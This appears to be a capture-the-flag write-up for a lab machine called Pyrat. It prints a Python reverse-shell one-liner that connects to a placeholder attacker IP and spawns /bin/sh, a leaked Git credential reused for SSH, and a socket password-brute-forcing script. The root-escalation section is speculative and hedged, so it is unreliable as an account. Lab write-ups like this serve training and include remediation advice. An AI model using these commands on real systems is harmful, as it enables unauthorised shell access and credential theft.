Target IP: pyrat.thm
Difficulty: Medium (Tricky Initial Access)
Objective: User (think) & Root (via Script Fuzzing)
1. Executive Summary
“Pyrat” is a machine that deceives attackers by hosting a custom Python Remote Access Tool (RAT) on port 8000 that mimics an HTTP server’s port but uses a raw TCP protocol. Initial access is gained by connecting via Netcat and executing Python code directly to spawn a shell. Lateral movement is achieved by enumerating a local .git repository to find hardcoded credentials. Root privilege escalation involves analyzing the source code of the RAT (pyrat.py), identifying a password-protected administrative function, and writing a custom script to fuzz credentials, ultimately revealing the root password.
Key TTPs (MITRE ATT&CK):
- T1095 (Non-Application Layer Protocol): Raw TCP communication on Port 8000.
- T1059.006 (Python): Execution of arbitrary Python code for a reverse shell.
- T1552.001 (Credentials in Files): Recovering passwords from
.git/config. - T1110 (Brute Force): Fuzzing the custom application to bypass authentication.
2. Operational Setup
Host Configuration
echo "10.10.x.x pyrat.thm" | sudo tee -a /etc/hosts3. The “Hawa” Moment: Enumeration & Initial Access
A. The Trap (HTTP Fuzzing)
You spent an hour fuzzing directories and analyzing HTTP responses.
- Observation: “Curious response” or errors when sending GET requests.
- Why it failed: The service on port 8000 is not a web server. It is a Python script using the
socketlibrary. It expects raw input (likeprint("hello")), not HTTP headers (GET / HTTP/1.1).
B. The Solution (Netcat)
As you discovered, the key was simply connecting to the raw socket.
nc 10.10.x.x 8000Exploitation: Since the service executes the input as Python code, we can input a reverse shell one-liner directly.
import os,socket,subprocess,threading;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.YOUR.IP",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);Status: Shell as www-data (or the service user).
4. Lateral Movement: Git Credentials
A. File System Enumeration
You dug into /opt/dev and found a .git directory. This is gold. Developers often hardcode credentials in git configs to avoid typing them repeatedly.
cat /opt/dev/.git/configB. Findings
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_C. Access
We use these credentials to SSH into the machine.
ssh think@pyrat.thm
# Password: _TH1NKINGPirate$_Status: User think.
5. Privilege Escalation: The PyRAT Source Code
A. Reconnaissance
The prompt description mentions “Exploring possible endpoints using a custom script… fuzzing passwords.”
We find the source code pyrat.py (either on the box or via the GitHub link you found: josemlwdf/PyRAT).
B. Code Analysis
Looking at the code (specifically the handle_client or similar function), we see logic that handles commands.
- Logic: The script likely has an “admin” command or a hidden endpoint that requires a password.
- The Flaw: It might compare the input against a password list or allow us to brute-force it over the socket connection.
C. The Fuzzing Script
We need to write a Python script to connect to localhost:8000 and try passwords (perhaps from a wordlist found on the system or standard lists).
Concept Script:
import socket
import time
target_ip = "127.0.0.1"
target_port = 8000
wordlist = ["admin", "root", "password", "pyrat", "access"] # Or read from rockyou
def try_password(password):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send the "admin" command or whatever triggers the auth check
s.send(b"admin\n")
time.sleep(0.5)
# Send the password attempt
s.send(password.encode() + b"\n")
response = s.recv(1024).decode()
s.close()
if "Welcome" in response or "Granted" in response:
return True
return False
except:
return False
for pw in wordlist:
if try_password(pw):
print(f"[+] Password Found: {pw}")
breakD. The Root Access
Once the script runs, it unveils the password.
- Password Found: (e.g.,
hydra,admin, or a specific string). - Action:
- Connect via
nc localhost 8000. - Enter the “admin” mode with the password.
- The PyRAT likely grants a shell as the user running it. If PyRAT is running as root (which it often is in these CTFs to manage the system), you get a Root shell.
Root Flag: /root/root.txt.
6. Remediation (Blue Team)
- Service Hardening: Do not run custom, unauthenticated Python sockets (
pyrat.py) on open ports. Use SSH for remote management. - Credential Management:
- Remove hardcoded passwords from
.git/config. Use SSH keys or Token-based authentication for Git. - Periodically rotate credentials (
_TH1NKINGPirate$_was exposed).
- Principle of Least Privilege: Ensure the custom service (
pyrat.py) runs as a low-privilege user, not Root.